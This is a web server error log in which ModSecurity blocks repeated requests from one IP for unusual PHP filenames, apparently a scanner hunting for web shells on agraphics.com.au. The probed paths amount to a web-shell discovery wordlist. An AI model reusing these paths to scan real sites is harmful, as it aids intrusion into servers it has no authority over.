[Sat Apr 18 23:22:00.834372 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:32203] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeOhmKzb5knECIY-C-ir8wAAAIA"]
[Sat Apr 18 23:22:01.486388 2026] [:error] [pid 9865:tid 9955] [client 20.203.141.81:57000] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeOhmazb5knECIY-C-ir9gAAAJI"]
[Sat Apr 18 23:22:02.172506 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:37911] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeOhmqzb5knECIY-C-ir-QAAAJA"]
[Sat Apr 18 23:22:03.454019 2026] [:error] [pid 9865:tid 9954] [client 20.203.141.81:40468] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/camara.php"] [unique_id "aeOhm6zb5knECIY-C-ir-wAAAJE"]
[Sat Apr 18 23:22:04.535994 2026] [:error] [pid 13023:tid 13048] [client 20.203.141.81:39894] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/camara.php"] [unique_id "aeOhnP1e7hG8DAeABB9MgwAAARc"]
[Sat Apr 18 23:22:05.432281 2026] [:error] [pid 32647:tid 32667] [client 20.203.141.81:41190] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/camara.php"] [unique_id "aeOhnUkxooM0iRo6e541igAAAhE"]
[Sat Apr 18 23:22:06.626828 2026] [:error] [pid 9864:tid 9927] [client 20.203.141.81:64235] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/camara.php"] [unique_id "aeOhnoCFeowknfXHM7k3hwAAAFU"]
[Sat Apr 18 23:22:07.345681 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:58523] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOhnxUlAXU_ZWUu5y8Y8AAAApE"]
[Sat Apr 18 23:22:08.422159 2026] [:error] [pid 32677:tid 32699] [client 20.203.141.81:54832] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOhoBngmUE3LdC-wP72CAAAAlM"]
[Sat Apr 18 23:22:09.356402 2026] [:error] [pid 32678:tid 32726] [client 20.203.141.81:8159] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOhoRUlAXU_ZWUu5y8Y8wAAApM"]
[Sat Apr 18 23:22:10.286054 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:61796] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/assacc.php"] [unique_id "aeOhohUlAXU_ZWUu5y8Y9wAAAoM"]
[Sat Apr 18 23:22:11.340110 2026] [:error] [pid 32647:tid 32662] [client 20.203.141.81:61817] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "aeOho0kxooM0iRo6e541jAAAAgw"]
[Sat Apr 18 23:22:12.240731 2026] [:error] [pid 32678:tid 32712] [client 20.203.141.81:32211] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "aeOhpBUlAXU_ZWUu5y8Y-gAAAoU"]
[Sat Apr 18 23:22:12.920292 2026] [:error] [pid 9864:tid 9930] [client 20.203.141.81:37932] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "aeOhpICFeowknfXHM7k3igAAAFg"]
[Sat Apr 18 23:22:13.531543 2026] [:error] [pid 32677:tid 32691] [client 20.203.141.81:31006] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws83.php"] [unique_id "aeOhpRngmUE3LdC-wP72DAAAAks"]
[Sat Apr 18 23:22:14.568338 2026] [:error] [pid 9865:tid 9955] [client 20.203.141.81:31022] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeOhpqzb5knECIY-C-isAAAAAJI"]
[Sat Apr 18 23:22:15.195311 2026] [:error] [pid 32647:tid 32653] [client 20.203.141.81:37936] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeOhp0kxooM0iRo6e541jwAAAgM"]
[Sat Apr 18 23:22:15.822712 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:7450] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeOhp_1e7hG8DAeABB9MjAAAAQU"]
[Sat Apr 18 23:22:16.752111 2026] [:error] [pid 34290:tid 34332] [client 20.203.141.81:64222] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "aeOhqBqX6WpmmAXOBi8vyQAAAc0"]
[Sat Apr 18 23:22:17.636157 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:57008] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeOhqSYdRLRhVmaIMx3vcwAAAM8"]
[Sat Apr 18 23:22:18.198950 2026] [:error] [pid 9864:tid 9912] [client 20.203.141.81:41752] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeOhqoCFeowknfXHM7k3iwAAAEY"]
[Sat Apr 18 23:22:19.025689 2026] [:error] [pid 32678:tid 32721] [client 20.203.141.81:61782] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeOhqxUlAXU_ZWUu5y8Y_QAAAo4"]
[Sat Apr 18 23:22:19.631468 2026] [:error] [pid 9970:tid 9993] [client 20.203.141.81:32806] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/%E3%81%AE.php"] [unique_id "aeOhqyYdRLRhVmaIMx3vfAAAANM"]
[Sat Apr 18 23:22:20.282096 2026] [:error] [pid 9970:tid 9984] [client 20.203.141.81:47640] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtsr.php"] [unique_id "aeOhrCYdRLRhVmaIMx3vfwAAAMo"]
[Sat Apr 18 23:22:20.832962 2026] [:error] [pid 9970:tid 9996] [client 20.203.141.81:63687] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtsr.php"] [unique_id "aeOhrCYdRLRhVmaIMx3vgQAAANY"]
[Sat Apr 18 23:22:21.627653 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:7723] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtsr.php"] [unique_id "aeOhrSYdRLRhVmaIMx3vhgAAANU"]
[Sat Apr 18 23:22:22.204704 2026] [:error] [pid 34290:tid 34324] [client 20.203.141.81:51718] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xtsr.php"] [unique_id "aeOhrhqX6WpmmAXOBi8vywAAAcU"]
[Sat Apr 18 23:22:22.922928 2026] [:error] [pid 32678:tid 32723] [client 20.203.141.81:64248] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aeOhrhUlAXU_ZWUu5y8ZAAAAApA"]
[Sat Apr 18 23:22:23.568758 2026] [:error] [pid 32647:tid 32657] [client 20.203.141.81:57003] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aeOhr0kxooM0iRo6e541kQAAAgc"]
[Sat Apr 18 23:22:24.222642 2026] [:error] [pid 9970:tid 9997] [client 20.203.141.81:32772] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aeOhsCYdRLRhVmaIMx3vigAAANc"]
[Sat Apr 18 23:22:25.070311 2026] [:error] [pid 9864:tid 9921] [client 20.203.141.81:63700] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zz8.php"] [unique_id "aeOhsYCFeowknfXHM7k3kwAAAE8"]
[Sat Apr 18 23:22:25.798129 2026] [:error] [pid 9864:tid 9930] [client 20.203.141.81:61810] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeOhsYCFeowknfXHM7k3lQAAAFg"]
[Sat Apr 18 23:22:26.630546 2026] [:error] [pid 13023:tid 13046] [client 20.203.141.81:56990] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeOhsv1e7hG8DAeABB9MlwAAARU"]
[Sat Apr 18 23:22:27.690117 2026] [:error] [pid 34288:tid 34312] [client 20.203.141.81:58538] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeOhs-TIiy__PtiLmpngowAAAZQ"]
[Sat Apr 18 23:22:28.312173 2026] [:error] [pid 9865:tid 9958] [client 20.203.141.81:40492] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mh.php"] [unique_id "aeOhtKzb5knECIY-C-isDQAAAJU"]
[Sat Apr 18 23:22:29.238626 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:54831] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeOhtf1e7hG8DAeABB9MnAAAARM"]
[Sat Apr 18 23:22:29.840069 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:41173] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeOhtf1e7hG8DAeABB9MnQAAARQ"]
[Sat Apr 18 23:22:30.652452 2026] [:error] [pid 9863:tid 9882] [client 20.203.141.81:61778] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeOhtjjjiypiFrTucbLcMQAAAAk"]
[Sat Apr 18 23:22:31.388213 2026] [:error] [pid 9865:tid 9948] [client 20.203.141.81:64238] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "aeOht6zb5knECIY-C-isDwAAAIs"]
[Sat Apr 18 23:22:32.231712 2026] [:error] [pid 32678:tid 32724] [client 20.203.141.81:30979] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "aeOhuBUlAXU_ZWUu5y8ZEQAAApE"]
[Sat Apr 18 23:22:32.877900 2026] [:error] [pid 9970:tid 9994] [client 20.203.141.81:58508] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "aeOhuCYdRLRhVmaIMx3vkQAAANQ"]
[Sat Apr 18 23:22:33.642161 2026] [:error] [pid 9865:tid 9940] [client 20.203.141.81:32217] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "aeOhuazb5knECIY-C-isFAAAAIM"]
[Sat Apr 18 23:22:34.320788 2026] [:error] [pid 9864:tid 9905] [client 20.203.141.81:7715] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ai.php"] [unique_id "aeOhuoCFeowknfXHM7k3mwAAAEA"]
[Sat Apr 18 23:22:35.066983 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:36654] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeOhu_1e7hG8DAeABB9MoAAAAQE"]
[Sat Apr 18 23:22:35.708540 2026] [:error] [pid 32678:tid 32710] [client 20.203.141.81:37906] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeOhuxUlAXU_ZWUu5y8ZFwAAAoM"]
[Sat Apr 18 23:22:36.259117 2026] [:error] [pid 32647:tid 32661] [client 20.203.141.81:37944] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeOhvEkxooM0iRo6e541mwAAAgs"]
[Sat Apr 18 23:22:36.823460 2026] [:error] [pid 9864:tid 9923] [client 20.203.141.81:57014] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeOhvICFeowknfXHM7k3ngAAAFE"]
[Sat Apr 18 23:22:37.619894 2026] [:error] [pid 32647:tid 32658] [client 20.203.141.81:58546] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awdld.php"] [unique_id "aeOhvUkxooM0iRo6e541nQAAAgg"]
[Sat Apr 18 23:22:38.453170 2026] [:error] [pid 13023:tid 13028] [client 20.203.141.81:32241] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awdld.php"] [unique_id "aeOhvv1e7hG8DAeABB9MowAAAQM"]
[Sat Apr 18 23:22:39.144798 2026] [:error] [pid 13023:tid 13030] [client 20.203.141.81:61816] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awdld.php"] [unique_id "aeOhv_1e7hG8DAeABB9MpQAAAQU"]
[Sat Apr 18 23:22:39.746519 2026] [:error] [pid 9970:tid 9980] [client 20.203.141.81:7908] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/awdld.php"] [unique_id "aeOhvyYdRLRhVmaIMx3vlAAAAMY"]
[Sat Apr 18 23:22:40.572250 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:32197] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "aeOhwCYdRLRhVmaIMx3vlQAAAM4"]
[Sat Apr 18 23:22:41.246505 2026] [:error] [pid 9970:tid 9975] [client 20.203.141.81:37897] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "aeOhwSYdRLRhVmaIMx3vlgAAAME"]
[Sat Apr 18 23:22:41.841216 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:7895] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "aeOhwSYdRLRhVmaIMx3vmQAAAM8"]
[Sat Apr 18 23:22:42.747244 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:63685] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bkyac.php"] [unique_id "aeOhwqzb5knECIY-C-isKAAAAJA"]
[Sat Apr 18 23:22:43.678718 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:41186] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/krntz.php"] [unique_id "aeOhw6zb5knECIY-C-isKgAAAJQ"]
